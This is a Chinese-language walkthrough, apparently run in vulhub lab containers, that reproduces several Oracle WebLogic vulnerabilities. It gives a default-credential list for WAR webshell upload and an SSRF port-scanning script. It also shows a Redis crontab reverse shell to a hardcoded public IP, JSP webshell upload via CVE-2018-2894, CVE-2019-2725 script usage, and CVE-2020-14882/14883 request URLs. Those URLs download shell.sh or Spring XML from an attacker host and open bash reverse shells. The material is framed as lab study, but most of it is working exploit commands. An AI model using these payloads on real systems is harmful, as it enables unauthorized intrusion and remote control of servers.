weblogic历史漏洞
weblogic历史漏洞
是什么?
weblogic是一个web服务器应用(中间件),和jboss一样都是
javaee中间件
,只能识别java语言,绝大部分漏洞都是
T3反序列化漏洞
常见的中间件还有:Apache,nginx,IIS,tomact,weblogic,jboss等
默认端口:7001
Web界面:Error 404 -- Not Found
控制后台:http://ip:7001/console
漏洞复现
1.弱口令+上传war包
环境:/vulhub/weblogic/weak_password
# 创建
docker-compose up -d
- 访问:http://your-ip:7001可以发现weblogic版本为10.4.5
- 访问
http://your-ip:7001/console
用户名:weblogic/密码:weblogic
# weblogic默认弱口令
system/password
system/Passw0rd
weblogic/weblogic
admin/security
joe/password
mary/password
system/security
wlcsystem/wlcsystem
wlpisystem/wlpisystem
- 选择部署 --> 安装 --> 上载文件 --> 上传war包
# 打包成war包
jar -cvf cmd.war cmd.jsp
- 最后访问http://your-ip:7001/cmd/cmd.jsp即可,蚁剑连接。
2.CVE-2014-4210(ssrf)
- 访问/uddiexplorer/SearchPublicRegistries.jsp这个路径,存在未授权
- 在Search by business name中随便输入,bp抓包。
- 修改operator参数的值为
127.0.0.1:7001
,发现返回404,因为目标是Weblogic服务,让Weblogic向自己的7001端口发出请求,
相当于访问your-ip:7001这个页面
,页面本身返回404 Not found,说明这里存在SSRF
- docker查看两个容器的网段
docker network inspect ssrf_default | jq -r '.[].Containers | to_entries[] | select(.value.Name == "ssrf-weblogic-1") | .value.IPv4Address'
docker network inspect ssrf_default | jq -r '.[].Containers | to_entries[] | select(.value.Name == "ssrf-redis-1") | .value.IPv4Address'
- 可以利用ssrf探测内网,改为
127.22.0.2:6379
会返回did not have a valid SOAP(说明是非http协议),说明这个ip开放了redis服务
- 也可以利用脚本探测
# 探测脚本
import contextlib
import itertools
import requests
url = "http://your-ip:7001/uddiexplorer/SearchPublicRegistries.jsp"
ports = [6378,6379,22,25,80,8080,8888,8000,7001,7002]
for i, port in itertools.product(range(1, 255), ports):
params = dict(
rdoSearch="name",
txtSearchname="sdf",
selfor="Business+location",
btnSubmit="Search",
operator=f"http://172.22.0.{i}:{port}",
)
with contextlib.suppress(Exception):
r = requests.get(url, params=params, timeout = 3)
# print(r.text)
if 'could not connect over HTTP to server' not in r.text and 'No route to host' not in r.text:
print(f'[*] http://172.22.0.{i}:{port}')
- 通过反弹shell攻击redis服务
# 目标:172.22.0.2:6379
set 1 "\n\n\n\n0-59 0-23 1-31 1-12 0-6 root bash -c 'bash -i >& /dev/tcp/124.71.45.28/1234 0
>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
- 对以上进行URL编码,替换到参数中
http%3A%2F%2F172%2E28%2E0%2E2%3A6379%2Ftest%0D%0A%0D%0Aset%201%20%22%5Cn%5Cn%5Cn%5Cn0%2D59%2
00%2D23%201%2D31%201%2D12%200%2D6%20root%20bash%20%2Dc%20%27bash%20%2Di%20%3E%26%20%2Fdev%2F
tcp%2F124%2E71%2E45%2E28%2F1234%200%3E%261%27%5Cn%5Cn%5Cn%5Cn%22%0D%0Aconfig%20set%20dir%20%
2Fetc%2F%0D%0Aconfig%20set%20dbfilename%20crontab%0D%0Asave%0D%0A%0D%0Aaaa
- 看到成功执行
- 攻击机监听1234端口即可反弹shell!
CVE-2018-2894(任意文件上传)
在Weblogic Web Service Test Page中存在一处任意文件上传漏洞,利用该漏洞,可以上传任意jsp文件,进而获取服务器权限。
Web Service Test Page 在"生产模式"下默认不开启,所以该漏洞有一定限制。
影响范围:
10.3.6.0
12.1.3.0
12.2.1.2
12.2.1.3
如果能访问
/ws_utc/config.do
则存在漏洞
手动利用:
- 访问http://your-ip:7001/ws_utc/config.do,设置Work Home Dir为:
# 将目录设置为`ws_utc`应用的静态文件css目录,访问这个目录是无需权限的
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css
- 点击安全 -- 添加 -- 在Keystore文件处,上传Webshell(jsp木马)
- 访问webshell
http://your-ip:7001/ws_utc/css/config/keystore/[时间戳]_[文件名]
- 蚁剑连接成功!
可以看见我们上传的木马,最终保存在
/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css/config/keystore/
自动化脚本:
https://github.com/LandGrey/CVE-2018-2894
CVE-2019-2725
- 利用java反序列化进行攻击,可以实现远程代码执行(vulhub靶场对应的是CVE-2017-10271)
- 影响版本:
Oracle WebLogic Server 10.*
Oracle WebLogic Server 12.1.3
- 判断:通过访问路径
/_async/AsyncResponseService
判断对应组件是否开启
- 脚本利用:
# 下载,里面有一个weblogic-2019-2725.py脚本
git clone https://github.com/TopScrew/CVE-2019-2725
# 使用脚本--命令执行
python3 weblogic-2019-2725.py 10.3.6 http://your-ip:7001
whoami
# 使用脚本--文件上传
python3 weblogic-2019-2725.py 10.3.6 http://your-ip:7001
- 命令执行
- 文件上传
(如果weblogic部署在linux上,改动红框的命令即可)
CVE-2020-14882
CVE-2020-14882:允许未授权的用户绕过管理控制台的权限验证访问后台;
CVE-2020-14883:允许后台任意用户通过HTTP协议执行任意命令
使用这两个漏洞组成的利用链,可通过一个GET请求在远程Weblogic服务器上以未授权的任意用户身份执行命令
判断漏洞是否存在(CVE-2020-14882),访问如下URL,可未授权访问到管理后台页面,但是是低权限用户
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal
进一步利用方式有两种:
一.通过
com.tangosol.coherence.mvel2.sh.ShellSession
局限:
这个利用方法只能在Weblogic 12.2.1以上版本利用,因为10.3.6并不存在com.tangosol.coherence.mvel2.sh.ShellSession类。
验证是否命令执行:在tmp目录下创建success文件夹
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('touch%20/tmp/success');")
- 看到成功创建
- 反弹shell
- 创建shell.sh放在攻击机上,并用python开启http服务
# 创建一个文件夹保存shell.sh
mkdir poc
# 进入文件夹
cd poc
# 将反弹shell语句写入shell.sh
echo "/bin/bash -i >& /dev/tcp/攻击机ip/6666 0>&1" > shell.sh
# python3开启http服务,这样靶机就能下载攻击机的文件
python3 -m http.server
- 回到靶机执行以下命令(意思是使靶机下载shell.sh并保存到本地的/tmp目录下)
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('curl%20http://攻击机ip:8000/shell.sh%20-o%20/tmp/shell.sh');")
- 可以看到靶机/tmp目录下出现了
shell.sh
- 执行以下命令,目的是运行shell.sh脚本文件,并且监听攻击机的
6666
端口
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=tru
e&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRunt
ime().exec('bash%20/tmp/shell.sh');")
- 可以看到shell反弹成功!
二.通过com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext
- 在攻击机poc文件夹下构造
shell.xml
,作用还是让靶机下载刚刚的
shell.sh
到/tmp目录下,只不过这次命令换成了文件
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[curl 攻击机ip:8000/shell.sh -o /tmp/shell.sh]]></value>
</list>
</constructor-arg>
</bean>
</beans>
- 在攻击机poc文件夹下构造
bash.xml
,作用是使靶机执行shell脚本,shell脚本里是反弹shell命令
<?xml version="1.0" encoding="UTF-8" ?>
<beans xmlns="http://www.springframework.org/schema/beans"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsd">
<bean id="pb" class="java.lang.ProcessBuilder" init-method="start">
<constructor-arg>
<list>
<value>bash</value>
<value>-c</value>
<value><![CDATA[bash /tmp/shell.sh]]></value>
</list>
</constructor-arg>
</bean>
</beans>
- shell.sh shell.xml bash.xml
都应该在同一目录下,再开启http服务
python3 -m http.server
- 靶机执行以下命令:用来下载shell.xml文件,这时shell.xml就会执行curl命令来下载shell.sh脚本,靶机的/tmp就会存在shell.sh
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机ip:8000/shell.xml")
- 靶机执行以下命令:用来执行shell.sh脚本反弹shell(在这一步前攻击机监听6666端口)
http://your-ip:7001/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.bea.core.repackaged.springframework.context.support.FileSystemXmlApplicationContext("http://攻击机ip:8000/bash.xml")
- 成功!